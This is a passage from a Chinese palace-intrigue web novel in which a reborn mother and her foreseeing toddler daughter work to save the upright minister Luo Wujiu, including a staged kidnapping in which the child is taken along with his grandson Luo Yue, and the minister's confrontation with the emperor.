温令仪缓了口气:“然后呢?” “按照原本的轨迹,爹爹被萧玄策害死后,永元帝的心就死了一半,后来萧玄策挥军入夏,他才知道大夏从最开始就错了,三公只有晏家,但晏家早就投靠了萧玄策,万念俱灰的他自缢而亡。”小囡囡说。 温令仪脱口而出:“该死!” “不止,因为爹爹被害死,镇国公也被屠干净了,晏怀卿手握重兵奈何身体衰败的厉害,晏明昭手里有温家的兵符,也有晏家军的忠心,年少成名,得到了萧玄策的器重,投靠西凉的二舅父直到死都不知道晏明昭并非娘亲的骨肉,晏明昭承诺只要二舅父乖乖赴死,他就为温家报仇,还会保护你余生顺遂。”小囡囡握住温令仪的手:“只是二舅父不知道,他死了之后,娘亲也被挖心而亡了。” 温令仪早就从自己的记忆和小囡囡偶尔说的只言片语里了解了不少,可听小囡囡说完,还是泪流满面。 她不知道的很多。 现在一切都知道了,痛苦也更明白自己要做什么了。 “娘亲,爹爹的命运是因你改变的,你重生归来,爹爹就不会死在萧玄策手里,萧玄策被你救了一命,更先一步跟萧玄策联手,别说晏明昭了,就是晏怀卿都没机会再入萧玄策的眼了。”小囡囡抬起手给温令仪擦眼泪:“现在,我们母女二人能做的就是等待时机,爹爹的心思是一直都没有改变的,为裴家报仇,如今更多了牵挂,娘亲和我,所以爹爹不会把大夏拱手让给萧玄策,那我们就在京城收买人心。” 温令仪拥着小囡囡入怀:“所以,囡囡一直都在布局,商会就是第一步,安顿流民让众合商会扬名天下,也为众合商会收买了天下人的心。” “是啊,所以娘亲,我们要做的事很多,陈皇后死后,陈秉正会带着族人离开京城,这些手握大权的人都精明得很,更早能看清时局,而朝廷接下来会更难,李若甫会把持朝政,会害死罗无咎。”小囡囡说。 温令仪摇头:“罗大人不能死。” “可是娘亲啊,但凡朝代更迭,死的都是不该死的人,昏君无能,奸臣当道,忠臣良将尸骨无存,若非如此,怎么能让大夏民心尽失呢?”小囡囡认真的看着温令仪。 温令仪早就不把小囡囡当成孩子了,并且在小囡囡的眼里,只要不是跟自己和裴祈安有关系的人,死不死都是无所谓的。 “囡囡,治世能臣不易得啊。”温令仪语重心长的说:“罗家不止罗无咎,罗少商、罗岳和罗政,都可以成为下一个朝廷里最得力的人。” 小囡囡眨了眨眼睛:“娘亲,你是在为爹爹攒好臣工啊。” 温令仪抬起手压了压额角:“也不算是,娘亲还要履行承诺,我答应了上官子玉,要把大梁密藏全部用在百姓身上,这是她的遗愿。” 小囡囡抿了抿唇角:“那娘亲可要很努力了,救罗无咎的事,我可不插手,倒不是我不想帮忙,而是我还这么小,露面次数太多,别人想要把我杀掉太容易。” “好,囡囡放心,你能跟我说这么多已经足够了,至少娘亲知道我要做什么。”温令仪揉了揉小囡囡的发顶:“之前,娘亲只知道自己的仇人是晏家,外面发生了什么事根本不知道。” 小囡囡点头。 “现在娘亲知道了,所以囡囡尽可当个小孩子,若娘亲做的不好,再偷偷跟娘亲说。”温令仪说。 小囡囡笑眯眯的点头。 记住本站: 从密室里出来,小囡囡继续出去溜达。 京城已经乱起来了,不知真相的人都和温令仪一样,以为是太后薨了,但消息送到陈家,陈家人急匆匆的入宫,很多人就怀疑是皇后出事了。 只等着宫里昭告天下,不能轻举妄动。 昭告天下的圣旨是一个时辰后发下来的,群臣入宫。 这样的事,还轮不到温令仪入宫,毕竟在温家时候,她是温家姑娘,嫁到晏家也没有皇封。 京中诰命夫人都需要入宫去。 小囡囡跑去外面蹲在墙角看热闹。 觉得不过瘾,让棠雨和梨雪陪着她去了罗府旁边。 “小姐,咱们是不是太显眼了。”棠雨看着小囡囡坐在地上摆弄那些珠子,在府里怎么玩儿都可以,可跑到街上玩这些宝贝,那真是太招贼了。 小囡囡认真的把这些珠子当弹珠玩儿,听到棠雨的话,抬头看了一眼:“如果我在罗府门前被人抢了,你说会怎么样?” 棠雨摇头,怎么样只是在罗府门前被抢了,又不是在罗府里被抢了,更不是罗府的人抢了她,还能怎么样啊? 小囡囡也不解释,低头继续玩儿。 娘亲要救罗无咎和罗家,但娘亲没想周全,罗无咎非常厉害,这么厉害的人会有疑心,并且聪明起来就很可怕,自己说不帮,可没说不试探啊。 棠雨和梨雪打起来十二分精神盯着小姐,甚至往来的人,看谁都像强盗。 偏偏怕什么来什么,巷子里早就盯着她们的人,趁着人少的时候突然冲出来,三个人分工明确,其中一个大个子抱起来小囡囡就跑,另外两个抢了地上的珠子。 梨雪和棠雨反应过来的时候,声嘶力竭的喊:“救人啊!快救人啊!” 一辆马车从两个人身边冲过去,马车里的人冲棠雨喊了一声:“去罗府求救,快!” 说着,还扔出来一块帕子。 棠雨捡起来帕子往罗府跑去…… 记住本站: 第150章 罗岳,你真以为我不敢杀你? 罗岳坐在马车里觉得费劲,直接让车夫停车,下车一路狂奔去追,车夫贴着马鞭跑的更快,可前面的人早就商量好了,偷东西的人分开两边跑,抱着小囡囡的人直接钻进了巷子里。 京城的巷子一个连着一个,弯弯绕绕像迷宫一样,罗岳恨不得多生出来两只眼睛,生怕把人追丢了。 车夫跑得快,他渐渐落后,怕什么来什么,抬头哪里还有匪人的踪迹,正焦急的四处观望,却不想身后出现的人冷不防的一闷棍下来,罗岳捂着后脑回头去看,身体软软的倒下去了。 一个壮汉扛着他大步流星走了。 罗岳揉着生疼的后脑勺,猛地睁开眼睛,眼前是破烂的废弃屋子,他就这么扔在地上,两条腿被捆着,绳子另一头拴着的正是小囡囡。 看到哭花了脸的小囡囡,罗岳起身往这边挪蹭:“别哭,已经让人去府里求救了,一定会有人来救我们的。” 小囡囡怯生生的看着罗岳:“你是什么人?” “我啊。”罗岳说:“我是罗府的罗岳,我祖父是罗无咎,你不认识我们是正常的,但是你母亲认识我们。” 小囡囡打量着罗岳,心里是太意难平了,她喜欢罗岳这样的人,容貌俊美,儒雅斯文,但眼神明亮坚定,还有那一点点儿水光,这么说吧,如果换个场合,换一身装扮,说好听的是雅痞,说不好听的是斯文败类,偏偏这样的人,小囡囡活了两辈子都喜欢,十分喜欢。 可没办法,这幅身体才一岁多,真是应了那句话:君生我未生,我生君已老。 “你、你叫我一声舅舅也成。”罗岳说这句话的时候在想,舅舅是没错的,反正自己决不能和晏怀卿为伍,那个人渣不配。 小囡囡眼泪汪汪的点头:“舅舅,我娘亲一定会骂囡囡的,我只是在路边玩儿弹珠。” “无妨,无妨,就算是打囡囡两下也不碍事的,以后就不犯错了,对不对?”罗岳往外看了眼,两个人说话声音不小,可没听到外面有动静,伸出手去解绳子,也不知道是这些贼人太猖狂还是没脑子,捆人不捆手,自己要是不逃走,那也必这些贼人好不到哪里去。 可是手捏住绳子的时候,整个人都僵住了,他竟一点儿力气也提不起来,难道是被喂了软骨散? “舅舅,那些人说你是大官,矜贵的很,不能伤了手,所以给你吃了药药,还说你要跑了最好,不跑的话,就要把舅舅弄死。”小囡囡说。 罗岳收回手,看着小囡囡:“放心,一定会有人来救我们的。” “嗯。”小囡囡主动的凑过来,紧挨着罗岳坐好。 罗岳还是头一次和这么小的娃娃在一起,看着小家伙乖巧的靠在自己身上,心都要融化了似的,这孩子真是太讨人喜欢了。 甚至都想到以后成亲,一定要个女儿,女儿好,乖巧。 外面看着的人一脚踹开了门。 罗岳立刻伸出手臂把小囡囡挡在身后。 “你个小崽子竟然敢骗我!秦国公府的人说了,他们家小姐在家里好好的,根本没丢!”满脸横肉的壮汉过来就要抓小囡囡。 罗岳厉声:“退后!求财何须伤人?” 壮汉嘿嘿一笑,搓着手:“罗大人,你可是位高权重的人,锦衣玉食当然不用像我们这样以命相搏了,这小崽子自称秦国公府的小姐,我的人去了被打得满身是血,秦国公府的小姐好端端的在府里,你说,我能饶了她?” “既然知道本官,那就好说,取纸笔来,你需要多少银两,本官让府里的人送来。”罗岳说。 壮汉上一眼下一眼看着罗岳,摇头:“你们这些当官的没有一个好东西,一肚子鬼主意比猴子还精,我不信。” “本官可以不追究。”罗岳微微的眯起眼睛:“你在京城混,你敢杀我?若我回去后追究,别说你,就是你上下三代我都不放过也寻常,既然是求财那就讲一个和气,这小娃娃我保着,你拿钱走人,岂不是两全其美?” 壮汉啐了一口,目露凶光:“吓唬老子?老子是吃糠咽菜长大的,不是吓唬大的,今儿逼我杀了你,我也敢!” 小囡囡故意往罗岳身边缩了缩。 罗岳伸出手握住了小囡囡的手,冷笑:“那你要快点儿动手,毕竟我的人一定很快就到了,到时候你人财两空,我还要追究,你这辈子就活到头了,动手吧。” 记住本站: 壮汉胸口剧烈起伏,眼珠子乱转。 罗岳反倒是一脸淡然,根本没放在心上似的。 外面跑进来一个瘦子,到壮汉耳边说:“不好了,外面很多官兵在搜城,眼看着就到咱们这里了,头儿,咋办?” 壮汉咬牙,一跺脚:“五百两,少一个子儿,杀你们俩我也赚了!” “准备纸笔。”罗岳说。 壮汉几步过来,直接把罗岳的里衣衣襟撕下来半截,拿出来刀子割破了罗岳的手指:“我们穷人没那些金贵的东西,写!” 罗岳微微皱眉,就着指尖的血写了几个字,壮汉扯下来他腰间的玉佩一起交给瘦子:“去罗府,求财不要命。” 瘦子撒腿就跑。 壮汉转身出去了。 罗岳松了口气了,听到哽咽声,回头看小囡囡不知道什么时候被吓哭了,这孩子太懂事了,就算吓成这个样子都不出声,哭得眼泪一滴滴落下,真是让人心疼。 “不哭,一会儿他们得了银子,咱们就安全了。”罗岳说。 小囡囡摇头:“娘亲是不要囡囡了。” “不会的,是权宜之计,囡囡听舅舅的。”罗岳柔声劝慰。 小囡囡直接趴在罗岳的手臂上哭出声来:“我不要回去了,娘亲不喜欢囡囡,囡囡不回去了。” “好好好,那就去舅舅家里住几天,不要哭了。”罗岳明知道温令仪一定很着急,可这么小的孩子也未必能理解,带回家去挺好的,他没察觉自己那一点点的私心。 小囡囡贴得跟紧了。 外面嘈杂的脚步声越来越多。 罗岳有些紧张,用宽大的衣袖遮住了小囡囡,如果是官兵来了的话,只怕要见血,这么小的孩子可不能被吓到。 门,又一次被踹开,壮汉疯了似的进来,一把抓住了罗岳的脖子:“找死!你竟然敢把官兵都引来,罗岳,你真以为我不敢杀你?” 记住本站: 第151章 罗府女眷呢 罗岳被提起来,小囡囡爬起来去抓壮汉的衣袖:“舅舅不骗人,你个坏人,你做坏事就该死!你放开舅舅。” 壮汉拎着小鸡仔似的抓着小囡囡就要甩开。 “住手!你的人抢走的那些宝珠价值不菲,还敢伤人?就算不是秦国公府的小姐,那也身份尊贵,我们藏起来,绝对不会让他们找到,必定让你拿到银子。”罗岳急了。 壮汉眼珠子乱转,点头:“好!” 两个人被塞到了草堆里,罗岳把小囡囡护在怀里。 外面官兵进来搜查。 壮汉赔着笑脸:“官爷,我们都是要饭的,哪里敢藏着贵人?您找,随便找。” 小囡囡抬头看罗岳。 罗岳伸出手捂住了她的嘴,生怕她喊出声。 官兵搜查了一圈没找到人,临走的时候说:“柴老七,你最好老实点儿,最近京城里不太平,天家有丧事的时候,触了霉头你吃不了兜着走。” “是是是,官爷慢走。”柴老七点头哈腰的送走了这些官兵。 回屋来到草堆前,扯开了盖住罗岳和小囡囡的干草。 罗岳坐在草堆里,颤巍巍的手摘小囡囡头上的草棍儿。 柴老七扔过来个瓷瓶:“解药。用两颗。” “多谢。”罗岳取出来两粒放在嘴里。 片刻,身体终于有了力气,把小囡囡抱在怀里。 柴老七打量着罗岳:“你们老罗家的人是不是都脑子有病?” “嗯?”罗岳皱眉,这话可是太无礼了。 柴老七也不在乎,盘腿坐在地上:“罗老大人整天在朝堂上跟李若甫对着干,李若甫那老狐狸可不像罗老大人那么傻,私下里早就搂得盆满钵满了,实话告诉你,要不是你是罗家人,今儿我一定会杀人灭口。” 罗岳叹了口气:“祖父只盼着天下无贫人。” “贫人?别人都骂我是贱*人,要不是罗老大人让我们每年冬天可以领一口活命的粮食,去年就都冻死了,你们老罗家连泔水都捞不出来点儿干的,你知道李若甫家的泔水,那可是穷人的福气,好吃得很。”柴老七啐了口:“娘的,运气不好,要是让我抓住老李家的人就发达了。” 罗岳沉吟良久:“看你这身量是有一把子好力气的人,为何要捞偏门,找个正经事做也能活命。” “正经事?当年我被人霸了媳妇,一怒之下杀了人,那个人命大没死,我蹲了十年大牢,你觉得我这样的人谁会用?”柴老七摆手:“少给我灌迷魂汤,我这辈子就是吃这碗饭的命。” 罗岳不说话了。 柴老七也不吭声。 瘦子气喘吁吁的跑回来,半袋子零零碎碎的银子放在柴老七的手里:“罗家穷得很,下人都凑银子了,头儿,现在咋办?” “咋办个屁!放人。”柴老七提着银子出去了。 瘦子过来给罗岳解开了绳子。 罗岳抱着小囡囡往外走,走到门口见柴老七蹲在墙角,手里提着钱袋子,不知道想啥呢。 停下脚步,罗岳说:“你去众合商会,他们需要押镖的人,明儿我让人来接你,信得过就跟着去。” 记住本站: 柴老七抬头看罗岳没吭声。 罗岳抱着小囡囡离开,京城富贵人多,穷人也多,高门大户多,破烂的废弃宅子也不少,小囡囡都要转迷糊了,终于走到了主街上,罗岳看着到处灯火通明的景象,眉头就没舒展过。 “跟我回府还是送你回家?”罗岳问。 小囡囡直接靠在罗岳的怀里:“去舅舅家,娘亲不来接,囡囡以后就给舅舅当女儿。” 罗岳被逗笑了:“好,那就回家。” 走到罗府,家丁看到罗岳都要哭了,跑过来:“大公子,老太爷、老爷和夫人都在等着了,府里的人都出去找您了。” “让他们都回来吧。”罗岳抱着小囡囡进门。 小囡囡是头一次来罗无咎的家里。 当然就算不来,也知道这户人家很穷,别看罗少商从商,罗家进项不少,可架不住花销很大,多数银子都贴补那些只能在京城要饭糊口的人了。 罗无咎站在院子里,罗少商陪在身边,两个人焦急的看着门口。 家丁跑进来,老远就喊:“大公子回来啦,大公子回来啦害。” 罗无咎身体一晃,罗少商赶紧扶住他:“父亲,能平安归来就好。” “是,是啊。”罗无咎看着越来越近的大孙子,目光落在了大孙子怀里抱着的小娃娃,嘴角一抽,偏头问:“少商,那孩子是温令仪的女儿?” 罗少商清了清嗓子,仔细辨认后点头:“好像是。” 罗岳快步到了祖父和父亲近前,行礼:“让祖父和父亲担忧了。” “这孩子?”罗无咎欲言又止。 小囡囡脆生生说:“太外祖父,我娘亲不要我了,舅舅收留了我。” 罗岳清了清嗓子:“小孩子闹脾气,怕遇到危险就带回来了。” “哎哟哟,可真是个可爱的娃娃。”罗无咎盼了多少年啊,只希望两个孙子有一个争气的也行,成家立业给自己生个小重孙子、重孙女,偏偏到现在都没人叫自己一句太祖父,所以太外祖父听起来可是太悦耳了。 罗少商笑眯眯的说:“快,快去让下人给洗漱一下,孩子饿了吧?厨房给你做好吃的,想吃什么?” 小囡囡摇头:“我吃什么都行,那个坏人说了,外祖父家里的泔水都没有干货,我吃什么都行。” 罗少商老脸都红了,清了清嗓子:“那也不少囡囡一口吃的。” 罗岳笑着说:“我带着去后面让婆子给安顿一下就来。” 罗少商点头:“我差人送信儿过去,免得那边担心。” 担心? 温令仪是一点儿都不担心的,小囡囡说不帮自己,可自己悄悄就去了,也是巧了,罗岳跟她在一起,自己觉得这孩子颇有些算无遗策。 所以,罗府来人报平安,温令仪只是道谢,却没有过去接小囡囡回府的意思。 罗府。 小囡囡好奇的打量着各处,心里有些疑惑,罗府的女眷呢? 难道罗府的女眷照顾自己不是正应该吗?怎么不见女眷?也怪自己当时没留意,罗府的女眷是一点儿印象都没有啊。 记住本站: 罗岳看着小囡囡神色不定的模样,说:“舅舅去接了你的丫环来,可行?” 记住本站: 第152章 舅舅,再高点儿,再高点儿 罗岳坐在外面的椅子上,看小囡囡四处看的模样,清了清嗓子:“囡囡,可是要回去?” “舅舅是要赶我走啊?”小囡囡回头,可怜巴巴的问。 罗岳赶紧起身出来:“不是,是怕你住不习惯,府里现在有一些变化,只有几个粗使婆子伺候着,怕囡囡不习惯。” “为什么不习惯呢?”小囡囡好奇的问:“没有外祖母吗?没有舅母吗?” 罗岳尴尬的摸了摸鼻子尖儿:“那个、那个舅舅没成亲,所以没有舅母,你外祖母跟你外祖父住在外面。” 小囡囡点了点头:“原来,舅舅娶不到媳妇啊?” “那也不是。”罗岳揉了揉小囡囡的发顶:“你还小,不懂,回头等伺候你的丫环来了,就住在舅舅的院子里怎么样?” “行。”小囡囡答应的爽快。 她怀疑罗家留后手了,这院子里的主子唯有罗无咎和罗岳祖孙二人,余下的人都安排离开了府里,就算是有什么变故,也不至于全军覆没,看来李若甫这次是下死手了。 很快,棠雨和梨雪就挎着小包袱来了。 罗岳安排小囡囡住下,出门去祖父的书房。 小囡囡坐在小板凳上,吃着零嘴儿,大眼睛叽里咕噜的乱转,府里的很多细节都没逃过她的眼睛,比如原本摆着罗汉床的位置空了,最近刚换成了小小的卧榻,地上的痕迹处理过,但不彻底。 再就是院子里的藤蔓修剪得过于干净,应该是怕藏人。 府里确实只有几个粗使婆子,不至于没人打理府中内务,但椅子换过了,原本的椅子比现在的椅子大一些,现在的椅子就跟街上杂货铺里最便宜的椅子差不多。 床幔、窗帘、甚至茶具都换过了。 “呵,这是在装穷啊。”小囡囡自言自语。 梨雪和棠雨都被吓破胆了,这会儿听到小姐说穷,梨雪都哭了。 穷还用装吗?那些宝贝价值不菲,现在小姐这点儿宝贝都没了,是真穷了啊。 夫人好像是生气了,不然也不会就让她们俩过来。 “小姐。”梨雪小心翼翼的走过来:“咱们回去给夫人认错吧,夫人这次真的生气了,虽然没有罚奴婢,可也没说让小姐回家去,奴婢害怕。” 小囡囡摆手:“怕什么?咱们就在这里住下,对了,我的钱匣子拿来没?” “拿来了。”棠雨从包袱里取出来钱匣子。 小囡囡打开看了眼,说真的,自己也不是很富裕,毕竟娘亲可不觉得自己需要什么金银防身,统共身家就这不足一百两的银子,还是挺艰难的。 棠雨和梨雪哪里知道娘亲的心思? 自己的目的瞒不过娘亲,所以住在罗府是必须的,南英那边不是吃素的,还能让自己出事?不过要是能把那些珠子找回来就更好了,毕竟自己都玩儿了许久,有感情,反正不是自己贪财舍不得。 罗家厨子做饭味道还不错,小囡囡颇有些随遇而安,吃饱喝足躺下就睡觉,一岁多的孩子不哭不闹不找娘亲,别说罗岳,就是罗无咎都忍不住喜欢。 祖孙二人过来看了小囡囡睡得安稳,两个小丫环伺候的尽心尽力也就没打扰,往前院去。 “岳儿,等事情有了眉目,也该成婚了。”罗无咎背着手走在前头。 罗岳跟在身后:“祖父说的是,之前还不觉得,怕有了妻儿就有了软肋,如今倒觉得有个孩子在身边,心里头有喜气儿。” 罗无咎停下脚步回头看罗岳一眼,笑着摇了摇头没言语。 记住本站: 他活了大半辈子,小囡囡这样的孩子委实不多见,也幸好自己的长孙只说想要个孩子,他可是被罗政给气到了,真以为他不知道为何罗政非要去雁门关? 可就算温令仪和晏怀卿会和离,温令仪就会喜欢罗政吗?不可能的。 要是自己最得意的长孙也看上温令仪,那这个家都能散花了,哪里还用李若甫费尽心思,都能不攻自破。 “祖父,李若甫那边该如何?”罗岳知道祖父看自己那一眼的深意,换了话题。 罗无咎冷哼一声:“皇后薨了,国丧之下,他敢轻举妄动?多事之秋啊,颇有些兵败之势。” “自作孽不可活。”罗岳太了解祖父了,这些年对当今皇上和朝廷真可谓呕心沥血,只盼着明君临世,百姓能过几天好日子。 可如今,昏招频出的当今皇上,野心勃勃又虎视眈眈的裴祈安,就连温家和晏家也都各有盘算,这大厦将倾的时候,最难受的便是把这一切都看在眼里的祖父了。 罗无咎沉默着往书房去。 罗少商见到罗岳平安归家就匆匆离开了,怕夫人那边沉不住气。 罗岳说了被绑的遭遇。 罗无咎听完沉默了良久,轻轻地叹了口气,他不愿意相信温令仪会用这么小的孩子做局,可这件事啊,透出的不寻常也不能忽略。 皇后薨了要停灵四十九天。 朝廷都在为这件事忙活,重头戏都在礼部那边,所以罗无咎难得清闲下来。 众合商会得了皇上嘉奖,流民安置有功,秋收已经开始,哪怕南地遭受了极大地水灾,可能收回来的粮食还是要都收回来的。 罗无咎开始调配国库存粮赈灾,本来这件事永元帝是不愿意的,可奈何内乱可不止京城,更多离不开灾地的人,都要易子而食了,罗无咎联合跟自己一样政见的同僚一起上奏折,永元帝才答应。 明知道永元帝不是心甘情愿,罗无咎就不敢有一刻耽搁。 也就是这件事被李若甫抓到了把柄,说他把持朝政,勾结党羽,试图挟天子。 这是杀心都起了。 罗无咎没有辩驳一句,只闷头做事,早就权衡过了,让百姓有饭吃,能活命和自己被罢黜活着死中选择,他选择了前者,人都有一死,所以死有何惧? 温令仪屈指轻轻地敲着桌案,微微蹙眉。 “夫人,罗无咎只怕抱着一死了之的心了。”无烬说。 温令仪沉吟片刻,提笔开始写信,写好了书信交给无烬:“送到七宝楼给温忠,这一封信用最快的速度送去中山沈家。” 无烬领命退下。 无烬是裴祈安的人,裴祈安把他留在自己身边必定会交代清楚,温令仪很相信无烬的能力,尽管无烬在自己跟前沉默寡言,多数时候只是个车夫。 “夫人,小小姐那边真不过去看看吗?”林嬷嬷担心的不行,那么小的孩子放在别人家,就算罗大人再可信,可孩子小啊,不好照顾啊。 温令仪摇头:“不用管,等她想家就自己回来了。” “老奴去看看吧。”林嬷嬷只能退而求其次,接回来怕是不能,夫人好像真是一点儿不担心。 温令仪想了想:“明天吧,我给她准备几身衣服,既然愿意在那边就多住一些日子,小孩子总不能太骄纵了。” 林嬷嬷只能应是。 温令仪提笔给小囡囡写了封信,与其让她去查,还不如自己说明白,免得浪费工夫。 记住本站: 把书信放在包袱里,上面放两件衣服,叫来林嬷嬷交给她,让她明儿一早送过去就行。 林嬷嬷第二天一大早就去了,罗府家丁倒是热络的很,引着林嬷嬷到了内院门口。 “有劳了。”林嬷嬷道谢。 转身要敲门,就听到院子里传来了小小姐奶声奶气的声音:“舅舅,再高点儿,再高点儿。” 我的天老爷啊,这孩子怎么自来熟啊?舅舅都叫上了? 记住本站: 第153章 你就说句软话会死吗? 开门的是梨雪。 梨雪一见到林嬷嬷,眼里浮起喜色:“嬷嬷,可是夫人要您来接小姐回去?” “小小姐在这边过得可好?”林嬷嬷问。 梨雪侧开身让林嬷嬷往里看,就见小囡囡坐在秋千上,旁边罗岳在推着,小囡囡兴奋的大呼小叫,罗岳一脸宠溺。 林嬷嬷脸都变色了,想到小囡囡的命都止不住叹息,大小爹娘就不要的孩子,遇到夫人是好命,可夫人也没有个好运道,小囡囡只知道娘亲,却不知道有爹是什么感觉,难道这孩子太过伶俐聪明,赖在这里不走是因为罗岳? 这么想,林嬷嬷恨不得立刻把小小姐带回去,可不能被带坏了啊。 转念一想不对,摄政王不是常来吗? 这下差点儿心梗,摄政王来也没这么陪着过小小姐啊,似乎也没什么理由必须要陪着小小姐啊,这都是什么事儿啊。 “嬷嬷,告诉我娘,我不回家!”小囡囡在秋千上看到了林嬷嬷,立刻喊起来。 罗岳稳住了秋千,抱着小囡囡下来,语气温柔的说:“囡囡可不准这么说话,你娘亲若是听到这话得多难过?” “你可是我过命的舅舅啊。”小囡囡牵着罗岳的衣袖:“咱们情分不轻。” 林嬷嬷眼前一阵阵发黑,强大精神上前给罗岳行礼后,说:“小小姐,夫人没说接您回去,这些日夫人有些事要忙,刚好在这边有罗大人照应着,夫人也放心。” 小囡囡撇嘴儿,抬头看罗岳。 罗岳哪里受得了小囡囡这委屈巴巴的表情,拱手一礼:“劳烦嬷嬷带话给夫人,小囡囡在这里很乖巧可爱。” “罗大人受累了。”林嬷嬷把包袱递给梨雪:“夫人给小姐送来了几件衣裳,仔细着给小小姐添减衣裳,别受凉。” 梨雪都要哭了,接过去包袱只能应是。 小囡囡还很客气的冲着林嬷嬷福礼:“嬷嬷回吧,不用惦记我,娘亲也不用想着来接我,我想回去的时候就回去了。” 罗岳只恨自己手慢,不然怎么也要把这孩子的嘴捂上,真不知道这话传到温令仪的耳中,她会作何感想。 林嬷嬷离开罗府,直叹气。 罗岳看小囡囡丝毫不放在心上的模样,弯腰把人抱起来往屋里去,进屋把人放在桌子上,他坐在椅子上,严肃起来,说道:“囡囡,你不可以那么说话,虽然温令仪不是你的亲生母亲,但生而不养恩情重还是日日陪伴的养育之恩重?” 小囡囡眨了眨眼睛,心里尖叫:“人漂亮,三观好这么好啊!真实可惜了,自己有亲爹,尽管亲爹好像有点儿趁人之危,不太君子,可那也是亲的啊。” 罗岳看小囡囡大眼睛扑闪扑闪的看着自己,后悔自己可能把话说的太重了,尴尬的搓了搓手,柔声说:“知道的是你心疼舅舅一个人孤单没人陪了,不知道的还以为咱们小囡囡没有良心,养不熟呢。” 嗨,这话也不知道能不能听懂,毕竟这孩子太小了,京城的小孩子都三岁之前是娇儿,三岁开蒙后才开始学规矩。 罗岳正一肚子官司,有点儿手足无措的时候。 小囡囡说:“舅舅,囡囡是来救你们的啊。” 罗岳如遭雷击的抬头看着小囡囡,不敢相信自己的耳朵,问:“囡囡,你说什么?” “我说,我是娘亲派来救老大人和舅舅的啊。”小囡囡笑眯眯的说:“所以娘亲怎么会接我回去呢?” 罗岳微微眯起眼睛:“你娘做的局?” “那倒不是。”小囡囡摇头犹如拨浪鼓:“我听到娘亲和下面的人商量,说那个老李头总是欺负罗老大人,她想要帮忙却不知道怎么帮,我想,娘亲不能问,我能问啊,我就来罗府门外玩儿,谁能想到遇到了抢劫的贼人呢。” 罗岳松了口气,他毫不怀疑小囡囡的话,这么小的孩子哪里会撒谎,小囡囡能把话说清楚就非常了不起呢。 小囡囡拉着罗岳的衣袖:“舅舅,你想要娘亲帮忙就去找她,她很有钱了,罗府里太穷了。” “囡囡。”罗岳正色:“你娘亲有钱不假,可罗家的事太复杂,是朝廷上的明争暗斗,罢了,回头我去拜访你娘亲。” 小囡囡点头:“好,好好。” 罗岳让梨雪和棠雨照顾着小囡囡,他去看祖父。 温令仪竟有护着罗家的心思,他确实是非常震惊,一个弱质女流在京中犹如质子,自顾不暇犹不自知,还要为罗家操心,这恩情大了。 小囡囡打开包袱,看到温令仪写给自己的书信,取出来书信笑眯眯的看着。 娘亲难道忘记了吗?自己可是知道一切的,当然也不能说太满,最低起码罗家女眷自己就不知道都安排到哪里去了。 罗老大人动了破釜沉舟的人,这样的人做多大的官都可以,都是百姓的福气。 娘亲在这件事上是厉害的,自己对于朝政时局是不擅长的。 看完了书信,小囡囡单手托腮,她要去找南英,但有点儿难啊。 罗老大人和罗舅舅都是顶顶聪明的人,这会儿还能用自己年纪小蒙混过关,可稍有不慎露出蛛丝马迹就得掉马啊。 棠雨把衣服收拾起来,看小姐犯愁的样子,过来问:“小姐,要不要去荡秋千?奴婢也可以的。” 小囡囡转过头看着棠雨,咧嘴儿笑了…… 温令仪调粮,南英接到了少主的任务,撒出去手底下的人去查李若甫和沈宗儒。 尽管事情照做,可南英心里是担心的,他们似乎掺和到朝廷争斗中去了,这样下去可不太妙啊。 小囡囡每天开开心心的在罗府玩耍。 各地粮食从各种渠道往南地汇聚。 朝堂上,李若甫忍耐多日,终究是忍耐不住了,写了一封奏折剑指罗无咎。 永元帝看完奏折,沉吟良久,宣罗无咎御书房面圣。 罗无咎来到御书房。 永元帝把是李若甫的奏折扔到罗无咎面前:“罗爱卿,你让朕怎么办?” 罗无咎捡起来奏折仔细的看完,轻轻地叹了口气,跪在地上抬起手取下自己的乌纱帽捧在掌心:“老臣辞官可行?” “你敢威胁朕?”永元帝一拍桌子站起来了:“罗无咎,你这是第二次威胁朕了,真以为朕不敢治罪于你?” 罗无咎叩首在地:“吾皇英明,微臣从不曾威胁过吾皇,但微臣一直都把百姓放在吾皇前面,这话虽然大不敬,可吾皇啊,何为朝廷?何为天子?何为官?若只顾着自己安乐,不顾百姓死活,那做商贾岂不是更合大道?” 永元帝脸色铁青的站着,居高临下看着罗无咎,这是把自己当成昏君了! 胸口起伏的永元帝抓起来茶盏就要砸罗无咎。 罗无咎明明叩首在地,却说:“皇上就算是把微臣砸死当场,微臣也无憾,可皇上啊,世道乱了,大夏外忧内患,身为朝臣不想为君分忧,还在处心积虑铲除政敌,此乃小人也,更不配为官,上对不起天家俸禄,下对不起黎民百姓。” 抓着茶盏的手上青筋凸起,永元帝缓缓坐下:“罗无咎啊,你就说句软话会死吗?” 第154章 阿宁,是要出手了吗? 罗无咎跪在地上默不作声。 他只觉得可笑,自己服软? 皇上可真是敢想啊,难道朝廷大事是儿戏吗?黎民百姓是儿戏吗?千千万万人性命攸关的时候,皇上竟只想这个? 若朝廷上下都坑瀣一气,欺上瞒下,不作为,那百姓岂不是犹如炼狱一般,大夏刚建朝几载春秋啊?怎么就忘了大梁为何被灭呢? 朝代更迭都是从这些上位者最瞧不起的百姓揭竿而起开始的,怎么就忘记了?大夏到如今才传了三代啊。 富不过三代,江山也如此吗? 但这些话现在不会说了,突然就理解了三公当初退隐时候的心情了,不是半边月多么阴毒,而是失望,推翻大梁之时,三公披荆斩棘在前冲锋陷阵,建朝之初就要对劳苦功高的人动手,天家德行如何,不是早就有端倪了吗? 只可惜,他入仕之时满怀信心,唯盼明君临世,要做贤臣,做忠臣,做治世之臣,让一直生活在苦难中的百姓能有好日子过。 唇亡齿寒,只是自己明白的太晚了。 永元帝迟迟都没听到罗无咎的动静儿,气得拍了桌子:“滚!滚!” “微臣告退。”罗无咎弓着身步步后退,到了门口抬头看了眼永元帝,在心里默默说了句:老臣,退了。 离开御书房,罗无咎混到在宫门口,往来行人都看到了。 翌日罗无咎抱病在床,御医前去查看,昏迷不醒,找不到原因,只能是操劳过度所至。 永元帝想要停调各处的粮草往南地,可为时已晚。 在御书房里大发雷霆:“他就是故意的!故意的!” 任凭永元帝怒火中烧,也无计可施,他怎么也不能去跟一个昏迷不醒的人计较,朝廷事物交到了李若甫手中,许多朝臣心生寒意,有了退却之心,奈何都有些眷恋权势,舍不得荣华富贵和名声,但私下里为自己和家族盘算,显然是再正常不过的事了。 温令仪看着面前的卷宗,突然想到裴祈安之前给过自己温家的卷宗,这些卷宗都在摄政王府的书房里,她想要去看看,毕竟裴祈安在没有去西域之前,做的就是监察百官的事。 